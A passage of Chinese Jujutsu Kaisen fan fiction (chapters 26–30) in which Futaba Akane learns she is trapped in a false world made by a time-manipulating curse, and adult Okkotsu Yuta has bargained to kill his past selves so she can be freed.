双叶茜瞥了一眼虎杖悠仁,心想昨天乙骨忧太搞出来的动静比你这还大呢,也完全没事。 她已经看出来了,这个世界根本就不正常。 她又问:“忧太有没有跟你说什么?” 虎杖悠仁摇了摇头:“乙骨前辈只说你被人关起来了,需要我去帮你,我就来了。” 他顿了一下,似乎想到什么,又补充道:“对了,乙骨前辈还说让我带着你去咒术高专,他说五条老师会在那里接应你,他也会在那等你。” 行。 又是咒术高专。 还连五条老师都牵扯进来了。 双叶茜抽了抽嘴角,心想她倒要看看乙骨忧太在打什么主意,便跟着虎杖悠仁一起离开,往咒术高专奔去。 而到了咒术高专,他们所见到的一幕也的确不出双叶茜所料。 根本没有所谓的五条老师,只有乙骨忧太站在门口。 准确来说,是少年时期的乙骨忧太。 见虎杖悠仁和双叶茜一起走来,乙骨忧太展露笑颜,似乎松了口气,真诚地同虎杖悠仁道谢:“谢谢你,虎杖同学,真是帮了大忙了。” 虎杖悠仁不好意思地挠了挠头,道:“没什么,能帮到乙骨前辈和双叶同学,我也很开心。” 他又关切地问:“不过,到底是谁把双叶同学关起来的啊?要不要报警啊?不然要再盯上双叶同学,就糟糕了。” 乙骨忧太脸上的笑容一怔,一贯的笑容隐隐有瓦解的意思。 但他很快便恢复正常,又 道:“不用了,反正茜已经平安回来了,从今以后我会寸步不离地保护她,绝不会再让她陷入陷境。” 乙骨忧太言语间透着不容置疑的坚决,虎杖悠仁虽觉得有些异样,却又说不上来,只好看向一直沉默的双叶茜,问:“双叶同学,你觉得呢?” “毕竟你才是受害者,虽然乙骨前辈承诺会保护你,但我总觉得还是应该报警才对。” 他认真思索着,语气愈发坚定:“毕竟非法剥夺别人的人身自由是严重违法行为,犯人应该为此付出代价。” 这番话让双叶茜意味深长地望向身旁的乙骨忧太 毕竟,把她囚禁起来的罪魁祸首不就是这个人吗? 虽说成年后的他,但换汤不换药,反正也都是他啊。 于是双叶茜刻意放慢语调,嘴角噙着一抹笑,问:“忧太,你觉得呢?其实我也觉得这种行为不好,要不我们还是报警吧?” 乙骨忧太心里素质倒是不错。 即使已经读懂了她话中的深意,却依旧维持着笑容,跟个笑面虎一样,脸上看不出半分情绪,笑眯眯道:“如果茜也这么认为,那我就陪茜一起去报警好了。” 双叶茜冷哼了一声,别开视线,没再理他。 “对了,五条老师呢?”虎杖悠仁四处张望着,寻找着那个熟悉的身影,“不是说好他也在这里,要负责接应双叶同学吗?” “五条老师临时有要事在身。”乙骨忧太笑容不改,”毕竟五条老师身为特级咒术师,总是身不由己,他刚刚还在,接到一通电话,便匆匆离开了。” “哎——好吧。”虎杖悠仁遗憾地拖长语调,“本来还想找五条老师分享一下我近况呢,既然这样,也没办法了。” “不过自己的学生遭遇危险,五条老师怎么会置之不理,反而去执行任务呢?” 虎杖悠仁的直觉很是敏锐,再次品出了不对劲的地方。 他正要继续追问,却见乙骨忧太自然地揽住双叶茜的肩膀,将她往怀里带,又说:“因为五条老师相信,我可有能力保护好茜。” 这话倒也没说错。 作为屹立在咒术界顶端的特级咒术师之一,乙骨忧太的实力毋庸治愈。 加上他与双叶茜的亲密关系,自然会倾尽全力保护她。 虎杖悠仁沉思片刻,终于接受了乙骨忧太这个理由。 “那我就先走啦!”他朗声道,“我之后还有别的事情,既然双叶同学已经平安无事,又有乙骨前辈在身边,我就放心了。” 乙骨忧太再次笑了笑:“路上小心,今天多谢你的帮忙了,虎杖同学。” 虎杖悠仁转眼间便消失在两人眼前。 此处又只剩下乙骨忧太和双叶茜两人。 双叶茜推开乙骨忧太,往后倒退了两步,抱胸看向乙骨忧太。 少年转过头,双眼中迸发出光亮,正要像之前那般对自己的爱人诉说自己爱意,却见双叶茜冷冷地站在原地,看向他的眼神里一片冰冷,并决绝道。 “乙骨忧太,你们到底在打什么主意?” “如果你再不跟我说实话,还想继续隐瞒我,那我们就分手吧。” 她是认真的。 第27章 “如果你再不跟我说实话, 还想继续隐瞒我,那我们就分手吧。” 双叶茜很少用这样冰冷的语气对乙骨忧太说话。 尽管所有人都认为乙骨忧太是恋爱脑,在这段关系里是爱得更为深刻和炽烈的那一方。 但双叶茜却认为, 自己对乙骨忧太的爱并不逊色与他。 也正因如此, 即使许久前就曾有人告诉过双叶茜,乙骨忧太有着不正常的恋爱观,她也甘之如饴,包容着乙骨忧太过度的占有欲和控制欲。 但她无法再接受自己像个傻子一样一直被蒙在鼓里。 少年脸上的笑容终于瓦解了。 他伸手想要握住双叶茜的手腕,却被她避开。 这个回避的举动让少年眼中闪过一丝慌乱, 那双总是盛满爱意的眼眸此刻写满了痛苦。 “茜, ”他的声音不自觉颤抖了起来, 恳求道, “别说分手这种话。” “那就告诉我真相。”双叶茜毫不退让,“这场闹剧已经持续了这么久,你还打算瞒我到什么时候?” 乙骨忧太深深凝视着双叶茜, 从她坚定的目光中读出她的决心。 他叹了口气,像是下定了决心,目光一时变得十分复杂, 沉沉道:“我不知道该从何说起, 但我和其他的‘我’,目的都是一样的,只是想确保你的安全, 让你远离任何危险。” “我知道这让你难受, 但我们没有恶意, 你…能不能试着接受这样的安排?” 双叶茜斩钉截铁:“不行。” 她要再接受,那就是傻子了。 她连连发问。 “你们对我隐瞒了重要的事情,对吧?而且你们会死, 对吗?” “有一个乙骨忧太跟你和另外两个都不一样,他正在追杀你们,并且真的打算杀死你们,对吗?” “而且杀死了你们,他也会跟着一起死,对吗?” 双叶茜的声音逐渐拔高:“都已经到这种地步,我的爱人即将面临死亡,你居然还在用‘为我好’这种借口来搪塞我?乙骨忧太,你把我当成什么了?一只需要被你护在笼子里的金丝雀吗?” “我厌恶这种自以为是的牺牲,也绝不会接受。”女人目光如当,一改往常温和的模样,“我不是在跟你开玩笑,如果你继续隐瞒,我真的会离开你。” 双叶茜退了几步,拉开和乙骨忧太的距离,又说:“而且,其实我从昨天开始就产生了一个大胆的想法。” “会不会这个世界是假的?” “不然我无法解释,为什么这么多天来,始终都没人发现你的异样。” “最初我还以为是时空错乱,但现在看来,事情似乎没有那么简单,乙骨忧太,你能给我一个合理的解释吗?” 少年见女人连连倒退,心头不由得一紧,几乎没有任何犹豫地便要跟上去,想要拉住女人,却没想女人直接拍开了他的手,刻意拉开了两人之间的距离。 她当真铁了心了。 乙骨忧太抿了一下嘴,终究承认了下来:“是的,你猜的没错,茜,这个世界的确是假的。” 他又继续说道:“那个‘我’,也如你所猜想,的确是想杀死我们,但我们对此其实并没有多抵抗,也已经接受了这样的结局,我想那个乙骨忧太也是同样的,这是我们的共识。” 少年苦笑了一下:“毕竟我们本来就是来自过去的人,并不是真正存活在这个世界上的人,而且如果想救茜的话…” 他后几句话越说越小,最后双叶茜直接听不到她他的声音了。 她皱了一下眉,正想继续追问,却忽然感受到一股强大又熟悉的咒力在向她所在的位置步步走来。 双叶茜惊讶地扭过头。 一个男人站在她身后不远处。 男人与她面前的少年有着相似的外貌,颇是无奈地注视着双叶茜,叹了口气,问:“茜,怎么不在家好好等我呢?” “本来不想让你看到这些的,怎么你还非要看?” 他抽出背后背着的那把太刀,放到手上,刀尖对准双叶茜面前的少年,冷冷地注视着对方,道:“我知道是你把茜喊出来的。” “毕竟如果不是外人,仅凭着茜的力量,是没办法突破房门的。” 双叶茜:“…” 她怎么觉得这乙骨忧太在损她实力差,这话里有话呢? 少年倒是坦然承认了下来:“对,是我,怎么了?” 他似乎只有在面对双叶茜的时候,才会有那副委屈又可怜兮兮的样子。 面对其他人时,便又换了另一副模样。 他与乙骨忧太毫不退让地对峙着:“那又怎样?我是茜的恋人,想见她也是理所当然的,倒是你——” 少年话锋一转,那张嘴毫不客气地 吐出毒言毒语来:“想把茜关起来,是担心自己年老体衰,对茜没有吸引力了,所以才采用这种下作的方式来留住茜吗?” “呵,果然人老了就是屁事多。” 双叶茜:…?? 她刚刚听到乙骨忧太说了什么危险的发言? 等等,乙骨忧太以前是这样的人设吗? 他的人设不是那种忧郁大男孩吗? 少年话音刚落,那边乙骨忧太的脸色就以肉眼可见的速度沉下来了。 他黑着脸注视着乙骨忧太,隐隐已经有了发怒的前兆,声音几乎是从齿缝中挤出来的,一字一句道。 “啊,也只有小屁孩才会以年轻为骄傲了。” 少年的身形微微一顿。 “毕竟——”乙骨忧太又刻意拖长声音,嘴角甚至噙上了一抹意味深长的笑,“小孩子的经验不足嘛,可以理解。” 少年虽年龄尚幼,许多事情还不懂,但他到底也是个男生,不会不明白乙骨忧太的话到底是什么意思。 他一下子暴躁了起来,拿起刀对准面前的乙骨忧太,两只眼睛里几乎快要喷出火来了,声音也跟着拔高。 “我要杀了你。” 两把相同的刀再次相抵在一起。 两人谁都不让谁,也根本没留任何余地,都想把对方往死里打。 但乙骨忧太这几年的饭也不是白吃的,他的战斗经验要比少年更足,很快便占得了上风,那把刀直逼着少年的脖颈而去。 但就在这时—— “停。” 双叶茜拍手合十,站在了两人之间。 那把刀被极速喊停,堪堪留在半空中,刀刃险些就碰到女人细嫩的脖颈上。 这一幕让两个乙骨忧太的心脏都漏了一拍。 “你在做什么?”少年先反应过来,“你这个疯子,你想杀了茜吗?!” 乙骨忧太不置可否,眉头蹙起,望向双叶茜,眉眼里写满了“不赞同”两个字,正要出口说话,却被双叶茜打算。 双叶茜瞥了他一眼,开门见山地问:“你为什么要杀他?” 乙骨忧太愣住片刻,还想像上次那般糊弄过去,却没想到女人早就料到他会来这么一出,冷笑了一声,又补充道。 “你要是敢再随便糊弄过去,我们就分手吧。” 乙骨忧太:“…” 乙骨忧太:“他是冒牌货,我才是真的,我怕他骗你,所以打算杀了他。” 他为了隐瞒真相,又同时不让双叶茜同他分手,竟扯出了这么一个荒唐又滑稽的理由来。 双叶茜信了才有鬼。 “好的,那我们分手吧,因为我觉得不跟我说话的人才是冒牌货,我是不会相信你的哦。”她不打算同乙骨忧太废话,转身拉着少年边走,还打算继续问少年一些东西。 和已经进入社会的成年社畜相比较起来,当然还是仍处在学生阶段的乙骨忧太比较好套话。 双叶茜又不傻,当然要选择一个更单纯的。 “等等!”却没想乙骨忧太忽然开口了。 他无法接受双叶茜所说的“分手”,嘴唇上下嗫嚅了一下,像是脑子里经历了一番天人交战一般,终于吐出一句实话来。 “杀了他,茜,你才有可能从这里离开。” 双叶茜猛地停下脚步,转过身,去望着眼前那个无比熟悉的恋人,她不可置信地又问:“你说什么?” 杀了谁? 杀了这个因为她一句分手就慌乱的少年吗? “你别开玩笑了,乙骨忧太。”双叶茜的声音有些颤抖,“你杀了他,不是也会死吗?为什么要做这种事情?” “这不是开玩笑,而是唯一的办法。”乙骨忧太却摇了摇头,又说,“茜,你应该也已经意识到了,这个世界是虚假的,但你有没有想过一种可能,你根本就不在现实世界里呢?” 双叶茜觉得自己好像有点听不懂乙骨忧太到底是什么意思了。 乙骨忧太却像是早料到会这样一般,叹了口气又道: “茜,你能回想起来,从你遇到不同时期的我那天,再往前,在那一天之前,你在哪里,你做了什么?你还记得吗?” 双叶茜的眼眸陡然放大。 她试图回答乙骨忧太,说自己能回想起来,说自己记得,并从记忆中翻出回忆来一件件告诉乙骨忧太,但乙骨忧太的确没说错。 她就像是失忆了一样,对那天之前的事情概无所知,什么都回想不起来。 “这个世界是虚假的,茜。”乙骨忧太凝视着她,又说,“这个世界里的人也都是虚假的,所以这几日,你几乎也没同其他人有过什么接触吧?” 回想这几天的经历,也的确如此。 双叶茜这几日的工作,也几乎都有乙骨忧太的出现,与其他人的接触极少。 “这个世界从一开始就是虚构的,你被拉入了这个世界里,而我是从现实世界来寻找你,并将你带回的,茜,这里只有我和你才是真实的,其他的,包括他在内——” 乙骨忧太抬眸望向一直站在一旁一言不发的少年:“也都是虚假的。””因为他是你记忆中的人,其他人也都是根据你的记忆所虚构出来的人物而已。””不可能。”双叶茜不可置信地否认,“这太荒谬了!那我为什么会坠入这个世界里?你又是如何知道这一切,如何找到我的?” “茜,你的记忆还是出错了,所以才无法回忆起那天究竟发生了什么,但没关系,我可以帮你回忆。” “那天——” 双叶茜的记忆蓦然被拉回那一天。 身为辅助监督,虽然不像咒术师那样总是要身处险境,总是要去同咒灵战斗,但偶尔也还是会接触到一些东西的。 毕竟俗话说得好,常在河边走,哪有不湿鞋呢? 那天,双叶茜接到总部指令,前去接受一件特殊物品,并将其转送至另一处保密设施。 而那个人物,打破了双叶茜日常的平静。 那是一个封印着特级咒物的方块。 据传是多年前由一位强大的咒术师亲手施加的封印,因那名咒术师力量强大,多年来从未有人怀疑过那封印是否会有松动的可能。 总部下令,即使心中万般抗拒,不愿与任何涉及特级咒灵的事物产生牵连,但身为打工人,双叶茜也只能服从。 于是,她驱车前往,小心翼翼地接回了那个散发着不祥气息的方块,尽职尽责地驶向目的地。 但谁都没想到—— 在漫长的岁月侵蚀下,那看似坚不可摧的封印,居然松动了—— 作者有话说:我不断加更 第28章 就在双叶茜全神贯注地驾驶着车辆, 把注意力全部聚焦在道路上时,副驾驶上那个被她谨慎地放在盒子里锁住的方块,却毫无征兆地传来了一声异响。 “咔。” 那声音极小, 却让双叶茜的神经一下子绷紧了。 她本能地踩下刹车, 猛地侧头看向副驾,心脏在胸腔里砰砰砰跳动着,然而那盒子却再无动静,安静地待在副驾驶上,仿佛刚刚那声只是她的幻听。 “…奇了怪了。”双叶茜嘟囔了一句, 重新将视线投向挡风玻璃外的道路上, 准备继续行驶。 然而, 就在这一刹那。 一股难以用语言形容的黏稠阴湿感在车内弥漫开。 身为辅助监督, 虽然双叶茜实力虽然的确远不及咒术师,但她对诅咒的感知和反应速度远超常人。 几乎在这股气息涌现的瞬间,她便意识到其源头正盒子里装着的东西。 大脑发出尖锐的警报, 双叶茜毫不犹豫地伸手去推开车门,甚至指尖都已经触碰到了冰冷的门把手,却还是为时已晚。 她的视野开始扭曲溶解。 那被封印了的特级咒灵似乎在攻击她, 并且不是□□上的攻击, 而是正在慢慢渗透进双叶茜的意识深处。 她无法与特级咒 灵的精神力相抗衡,最终在车门还没打开前,倒在了地上。 她最后看到的, 是车窗外飞速掠过的森林, 以及在后视镜中, 自己因恐惧而失去焦点的瞳孔。 紧接着,便是无边无际的黑暗。 尔后,乙骨忧太便接到了来自高层的紧急通知。 ——[辅助监督双叶茜在护送特级咒物任务中途遭遇意外, 连人带物坠落山崖,目前下落不明。] ——[请特级咒术师们即可前往相关区域,优先确保回收特级咒物。] 字里行间透着股一如既往又令人作呕的味道。 高层那些烂橘子们一向这样。 他们关心的从来都不是一条人命,不是一个鲜活的存在。 在他们的心中,一个小小的辅助监督远不及一个被封印的特级咒物来的重要。 乙骨忧太无法接受。 以往在四位特级咒术师里面,他向来是最恪守规则、最服从上级命令的那一个。 与其他三个或多或少都带着叛逆因子的特级咒术师相比,他一直是高层眼中最稳定可控的棋子。 却不料这没温顺的棋子,也会有反抗的那天。 就在通知下达片刻之后,这位最听话的特级咒术师,竟未经任何通报,闯入了高层所在的议事厅。 厅内几位烂橘子们被吓了一跳,但很快便反应过来,语气里带着显而易见的倨傲,问。 “乙骨?你来做什么?” “任务已经清楚了,当务之急是尽快寻回那个咒物,若是封印松动,后果不堪设想。” “不过真是奇怪,你的那位女友,怎么会如此不小心,自己跌落山崖自寻死路?这未免太过巧合莫非她与诅咒师那边…”” 一句话还没说完,乙骨忧太手中的太刀就已闪电般脱手,精准无比地钉在了那人面前的厚重木桌上。 因太过用力,刀身深深嵌入了进去,尾端仍在剧烈震颤着。 男人缓缓抬起头,阴影落在他的半边脸颊上,他声音不高,却格外清晰,一字一句地问。 “你刚刚说什么?” 议事厅的空气仿佛瞬间凝固了。 那位被威胁的高层,后半句话硬生生卡在喉咙里,脸色也从倨傲转为一片煞白,额角都渗出了细密的冷汗。 因为距离过近,他能感受到那把刀上散发出的恐怖咒力。 另外几人同样震惊不已,似乎有人正想喊人,但却在乙骨忧太的目光扫视下,无一人敢轻举妄动。 “你…乙骨忧太,你想干什么?!”终于有人强撑着厉声喝道,但声音却在颤抖着,出卖了他恐惧的内心。 乙骨忧太没有理会这一声质问,目光依旧牢牢锁在最初那个出言不逊的高层脸上,那双总是盛满犹豫或温和的眼眸,此刻内里却有无数杀意正在疯狂滋长着。 “我说。”他的声音比刚刚压得更低,同时也更危险,每个字都像是从齿缝间挤出来的,“你刚刚想说关于她的什么话?” 男人微微偏头,脸上的脸色异常阴沉,一字一句地问:“继续说下去,我很想听听,你们是如何在牺牲了我的恋人之后,还能如此心安理得地污蔑她的清白。” 咒力开始不受控制地从他身上弥漫开,充斥在整间屋内,让在场所有人都感到了令人窒息的压力。 仿佛整个房间的重量都压在了他们的肩膀上,让他们说不出一句话来。 那位被针对的高层嘴唇不停哆嗦着,却再也发不出哪怕一个音节。 乙骨忧太环视一圈,将所有人惊惧的目光尽收眼底,眼神里带着毫不掩饰的讥讽。 他没再说一句话,抬手拔出刀,收回到刀鞘中,转身,不再看身后那些僵直了的身影,直直地走向门外。 走廊的光线有些昏暗,乙骨忧太的脚步略显沉重,方才强行压制的怒火仍在他胸腔中翻涌着。 他向前走出几步,准备加速离开,却忽然听到一个慵懒又熟悉的声音从侧面传来。 “呦,忧太。” 乙骨忧太脚步一顿,朝声音来处看去。 只见五条悟随意地依靠在走廊的窗边,脸上挂着一抹笑,语气轻松却意有所指:“我还担心你会不会做出什么危险的举动,看来是我多虑了。” 乙骨忧太沉默了一下。 对于五条悟能预料到他的行动,并等在这里,乙骨忧太并不感到意外。 他深吸一口气,直接说道:“五条老师,我要去带她回来。” “啊,猜到了。”五条悟站直身体,姿态随意,浑身上下却透着令人安心的气场,“那些老家伙的废话,听听就算了。” 他走到乙骨忧太身边,大手重重地拍了拍学生的肩膀:“不过这么一闹,那些烂橘子怕是要盯上你了。” 他嘴角扬起弧度:“对付那些腐朽的老东西,我还是更有经验,铁门就交给我吧。” 五条悟收敛起笑意,声音沉重道:“不过你要答应我,要把茜带回来。” 对于随意决定自己学生的死亡,并对此不做任何表示,甚至还高高在上地命令他们去收回特级咒物,五条悟的内心其实也是感到极其愤怒的。 乙骨忧太看着五条悟,紧绷的心弦松动些许。 他没拒绝,郑重地点了点头:“我会的,谢谢老师。” 乙骨忧太几乎是跑着穿过的总部冗长的走廊。 他跑得又快又急,也不管周围所有人对他投来的惊诧,目标明确地往双叶茜出事的那段山路奔去。 他没去开车,而是选择了更直接的路径。 男人的身影在林木间急速穿梭着,快得甚至只能看清一道道模糊的黑影。 枝桠在他身后摇曳着,甚至根本来不及飘下,男人的身影便已远去。 风声在男人耳边呼啸着,他却仍觉得速度还不够快,只想再快、更快一点。 他没过多久便赶到了事故发生地。 现场的警戒线还在,但似乎由于高层的吩咐,没有警察留在这里,周围的人群也都被疏散,只剩下几个负责留守和观察的辅助监督。 这条道路已经被彻底封锁。 乙骨忧太无视了那些辅助监督惊愕的目光和阻拦声,径直走到了悬崖边。 夜风猎猎,吹动了男人黑色的衣摆。 他单膝跪地,修长的手指抚过路面上的刹车痕,又将视线投向了下方深不见底的山谷。 浓郁的黑暗笼罩着谷底,一股强大而扭曲的咒力在谷底盘踞着。 乙骨忧太毫不犹豫地纵身跳下悬崖,身影迅速被黑暗吞没。 下坠的烈风撕扯着乙骨忧太的衣服和发丝,强大的风力仿佛化为实质的刀刃,狠刮着他的身体,可他脸色却丝毫未变。 咒力在他周身蔓延开,形成无形的屏障,他借此减缓冲击,目光锁定在谷底那股咒力的源头。 乙骨忧太的双足稳稳地落在地面,双脚踩在谷底潮湿的土壤上。 几乎在他落地的同时,乙骨忧太的目光便捕捉到一个物体。 ——被封印的方块赫然躺在不远处, 然而它已不再是那个被严密封印的立方体。 它的表面布满了蛛网般的裂痕,黑色的汁液从裂缝中不断渗出,仿佛是具有生命的黑色活物,不断蠕动着。 仅仅是凝视着那个物体,一种源自本能的寒意和恐惧便不由自主地从心底滋生。 “嘶…嘶…” “…咒术师?” 乙骨忧太面无表情地拔出太刀。 刀锋在黑暗中泛起冰冷的寒光,他没想压抑自身的力量,属于特级咒术师的磅礴咒力毫无保留地释放出来,如同海啸般向那咒物压去,带来一种极强的压迫感。 他冷声道:“把她还回来。” “ 还回去?呵呵…”特级咒灵的声音带着嘲弄,“她已经死了,她的身体也会成为我的容器。” “你别想…” 特级咒灵一句话还没说完,乙骨忧太的身影便已从原地消失。 下一秒,雪亮的刀光便如闪电般,直劈向那方块。 第29章 然而, 就在乙骨忧太的那把太刀即将劈中时,异变却出现了。 那不断渗出黑色汁液的方块,连同周遭盘踞的浓郁诅咒气息, 竟骤然变得模糊扭曲, 凭空消失在原地。 乙骨忧太劈过空气,在地面上留下一道深深的斩痕。 他身形一顿,持刀而立,视线瞬间锁定在不远处汇聚起的浓浊黑屋上。 “没用的,咒术师。” 咒灵的声音再次传来, 诅咒的气息再次如同潮水般在谷底弥漫开, 带来一种令人窒息的包围感。 “你的攻击是触碰不到我的。”那团黑雾不断消散又重聚, “我早就把本体藏匿在了时间和空间的缝隙之外, 你怎么可能伤害到我?” 乙骨忧太沉默不语,无声观察着。 “我见识过你们的封印。”特级咒灵的声音陡然变得尖锐,声线里充满了刻骨铭心的恐惧与怨恨, “你们居然敢把我关起来这么久,让我在黑暗里待着那么久,我绝对不会再经历第二次!!!” “所以, 你现在只会像阴沟里的老鼠一样躲藏了吗?” 乙骨忧太冷言嘲讽着, 试图通过言语激怒对方,寻找对方的破绽。 “躲藏?”咒灵尖锐地啸叫着,“不, 这是在进化, 这是我为了生存所找到的最佳办法。” 黑色的汁液从那团黑雾中涌出, 竟直直地向乙骨忧太袭去。 “只要我不暴露出我的本体,只要你们无法抓到我,只要那个女人的容器一直被我保留着, 无法恢复意识,你们就奈何不了我,我就还有机会降生在这个世界上!” “我会慢慢吞噬掉她的意识,吞噬掉她的灵魂,占据她的躯壳,到那个时候,我将会获得真正的自由,我将会穿梭在时间的夹缝中,在不同的时间里来回穿梭着,没有人能再束缚我!” 黑色的汁液铺天盖地地袭来,乙骨忧太蹙眉着躲开,用太刀将汁液来回阻挡。 事实上,乙骨忧太事先做了调查。 这个特级咒物诞生子人类对“时间”的负面情绪。 ——对时间流逝的恐惧,无法掌控时间而感到的不安、焦虑、气愤、无奈、不耐,以及对过去的怀念,和对未来的迷茫与不安。 人类对时间的负面情绪实在太过庞大,也正因如此,这个特级咒灵才掌握着与时间相关的能力。 但乙骨忧太没想到,它居然已经创造了另一个时空,把自己藏了进去。 “所以你把她也藏了进去?”乙骨忧太冷声问。 那团黑雾似乎停滞了一瞬,随即便发出混杂着得意与贪婪的怪笑:“嘻嘻…嘻嘻嘻,咒术师,你终于意识到了吗 ?” 那团黑雾翻滚着:“没错,她的□□和意识都正在沉睡在我创造出来的空间里,那里没有起点,也没有终点,时间不会运转,她只会一直沉睡在黑暗里,不会有任何意识。” “很美妙,不是吗?你们人类不是最害怕时间了吗?” 乙骨忧太的心沉了下去。 他缓缓垂下持刀的手,周身的咒力也悄然散去,问:“你的目的是活下去,所以只是需要一个容器,对吧。” 乙骨忧太很快便理清当前状况,意识到费力与对方战斗是无用的举动,便又问:“我的目的是带她回去,我们应该可以达成合作。” 那团黑色的浓雾不再开口说话,黑色的汁液也不再狂暴地攻击着,只是包围着乙骨忧太的身体, 他似乎是在打量着乙骨忧太,判断着乙骨忧太话语里的真实性。 乙骨忧太明白自己说的话已经引起这个特级咒力的兴趣,又道:“比起她,我做你的容器怎么样?” “咒术师要做我的容器?”特级咒物思索着这个选择,很快便接受了这个提议,声音陡然拔高:“可以,当然可以!那个女人的身体虽然不错,但还是太脆弱了,就像精致又不耐用的花瓶,随时都可能被我溢出的力量撑碎!” “不过如果是你的话——” 黑雾剧烈地翻涌着,竟凝聚成一张模糊扭曲的人脸形状,对着乙骨忧太。 “你应该是特级咒术师,对吧?你的身体要比普通人更好,体内也蕴含着庞大的咒力,远比那个女人要强大坚韧数倍,你才是完美的容器!” 它几乎是在嘶吼,声音里充满着狂喜:“把你的身体给我,自愿放弃抵抗,让我占据你的身体,将这具□□奉献于我!这样的话……嘻嘻……这样的话,那个女人对我而言就毫无用处了!我自然可以把她还给你!” 一个残酷而直接的选择。 用乙骨忧太来交换双叶茜。 乙骨忧太站在原地,山谷的风吹动他黑色的额发,露出那双深不见底的眼眸。 他脸上的表情没有任何变化,既没有愤怒,也没有恐惧,只有一片冰冷的沉静。 身为特级咒术师,乙骨忧太当然知道这意味着什么。 把自己的身体交给一个特级咒灵,还是一个狡诈又对咒术师充满怨恨的特级咒灵,后果不堪设想。 他无法保证对方拥有了他的躯体,并获得他的力量,彻底得到自由之后,会造成怎样的灾难。 咒灵似乎察觉到了乙骨忧太的沉默,声音里带着蛊惑:“咒术师,用你一个人,换取爱人的平安,这难道不是你想要的吗?” “你们人类不是最讲究爱和牺牲吗,你那么重视她,现在不正是证明你感情的时刻吗?” 它的话语如同毒蛇,缠绕上乙骨忧太的理智,诱惑他做出抉择。 “而且,这难道不是最好的结局?” 特级咒灵又道:“我得到了完美的容器,获得了新生和自由,你的爱人安全回到现实生活,看,多么美好的结局啊!” 乙骨忧太缓缓抬起眼,看向那团黑雾,握着刀柄的手指收紧着,蹙起的眉头也不曾松下来。 他知道这是个陷阱。 咒灵的话不可信,即便他答应了,对方也未必会守信释放双叶茜,甚至可能利用他的身体去做更可怕的事情。 但是—— 他还有别的选择吗? 这个特级咒灵掌控着时间的能力,且极其狡诈,又因曾被封印过,所以极其谨慎,几乎不会露出任何破绽。 而对于乙骨忧太本人来说,如果连双叶茜都失去了,那他所拥有的力量和特级咒术师的身份,甚至是他的生命,都将没有任何意义。 空气中的咒力波动开始发生变化。 乙骨忧太向前踏出一步,反问道:“我怎么才吗相信你?” 男人没有直接回答,但这个问题本身就已经表明了他的意愿。 咒灵发出了胜利般的啸叫,那团黑雾更加兴奋地翻腾着:“我可以跟你定下束缚!在束缚的规则下,即使是我也无法违背!” “当你成为我的容器后,我答应你,我会将那个女人立刻完整地从我所创造的那个空间里放出,不会伤害她,也不会故意拖延时间!” “束缚”。 一旦成立,受规则约束,双方都必须执行,否则便会受到惩罚,即使是诅咒之王两面宿傩,也必须遵守这个规则。 乙骨忧太缓缓将那把太刀收回到刀鞘中,沉沉道。 “好,我答应你。” 那团代表咒灵的黑雾爆发出更加尖锐、狂乱的啸叫,似乎在狂笑。 浓稠的黑暗剧烈翻涌着,几乎快要笼罩整个山谷。 “嘻嘻……哈哈哈哈哈!” “明智的选择,咒术师!但是——” 特级咒灵话锋一转,声音里充满了狡诈与贪婪:“你的身体太强大了,如果我没猜错,你应该是咒术师里的特级吧?” “你的身体经历过无数次战斗,咒力太过庞大,如果直接占据你,即使你自愿反抗,你的身体也会本能地排斥我。” 黑雾 形成的人脸极其扭曲,它围绕着乙骨忧太缓缓旋转,又道:“所以,为了让我能顺利地接管这具完美的容器,你必须要先亲手杀死你自己。” “我会运用我的能力,帮你回到你的过去,你要找到过去的你,然后——” 咒灵刻意在此停顿,随后狂笑着说:“亲手将他们一个个杀死!” “每消灭一个过去的你,你与这个世界的联结就会减弱一分,当你过去的自己屠戮殆尽,你就会变成一个没有过去的空洞存在!” “没有人会记得你,你的躯壳将会变成我最完美的容器!我会毫无阻碍地接管你的身体!” 这已经不仅仅是要牺牲掉乙骨忧太的性命。 更是要将他的过去全部抹杀,将他整个人的存在彻底抹杀。 咒灵的声音带着残忍的戏谑,一字一句地问:“怎么样,要不要用你的现在和你的过去,换取她的未来?” 乙骨忧太站在原地,那双深不见底的眼眸中,映不出任何情绪,只是一片死寂。 他依旧做出了同样的回答。 “好,我答应你。” “嘻嘻嘻嘻嘻嘻嘻!” “嘻嘻嘻嘻嘻嘻!!” 咒灵的笑声极大,几乎震彻了整个山谷。 紧接着,乙骨忧太脚下的那一块地面瞬间消失。 浓郁粘稠的黑暗从四面八方涌来,包裹住他的身体。 他被彻底吞噬,沉入无边的黑暗中。 第30章 绝对的黑暗并未持续太久。 乙骨忧太睁开眼睛, 发现自己正站在一条熟悉的街道上。 夕阳将建筑物的影子拉得很长,空气中有夏末秋初特有的味道,带着一丝凉意。 这里他国中时常走的那条回家小路。 乙骨忧太甚至不需要刻意寻找目标, 他站在原地等候着, 果不其然便看到一个穿着的少年缓缓走入他的视野中。 少年垂着头,不知在想什么。 “…你今天没有跟茜一起吗?”乙骨忧太问。 少年猛地抬起头,瞳孔骤然收缩,眼神里充满惊愕:“你怎么会认识茜?” 这个时候的乙骨忧太对自己还没有太多自信。 他还没转入咒术高专,没什么朋友, 唯一的朋友只有双叶茜。 由于成年后的乙骨忧太周身的气质改变了太多, 少年没能认出来这是未来的自己。 他下意识抱紧手里的东西, 低声说:“茜今天发烧了, 请假没来学校,我早上给她发了信息,但她一直没回我。” 乙骨忧太静静地看着少年:“你应该去看看她。” 少年愣了一下, 脸上的戒备渐渐消散,很快便露出笑颜,笑道:“嗯, 我正打算去看看她, 顺便给她带些东西!” 他特意举起怀里的小纸袋,脸上带着几分期待:“是她上次说想吃的甜点!” 乙骨忧太的声音依旧平静,听不出什么波澜:“她一定会很高兴。” 因为得到肯定, 少年的笑容更加明朗, 他打量着眼前这个气质深沉的男人, 好奇地问:“那个…你认识茜吗?” 乙骨忧太沉默了一瞬,随后给出了回答:“嗯。” 他又问:“沿着这条路一直直走,之后在第二个路口右转, 就到了茜的家,对吗?” “诶?你怎么知道茜的家在哪?”少年更加惊讶了,眼睛微微睁大。 因为他已经走过了数次。 虽然心里这么想,但乙骨忧太并未说出口,只是迈开了脚步,道:“走吧,我陪你走一段。” 少年虽然满心疑惑,但还是跟了上去。 两人并肩走在逐渐被暮色所笼罩着的街道上,影子一长一短,走了不知道多久,少年忽然出声,问。 “大人的世界是什么样子的?” 他顿了一下,语气里带着憧憬:“我以后会变得像你一样强吗?” 乙骨忧太侧头看了少年一眼。 那张尚且稚嫩的脸上,带着对未来的迷茫和憧憬,两只眼睛都在发亮。 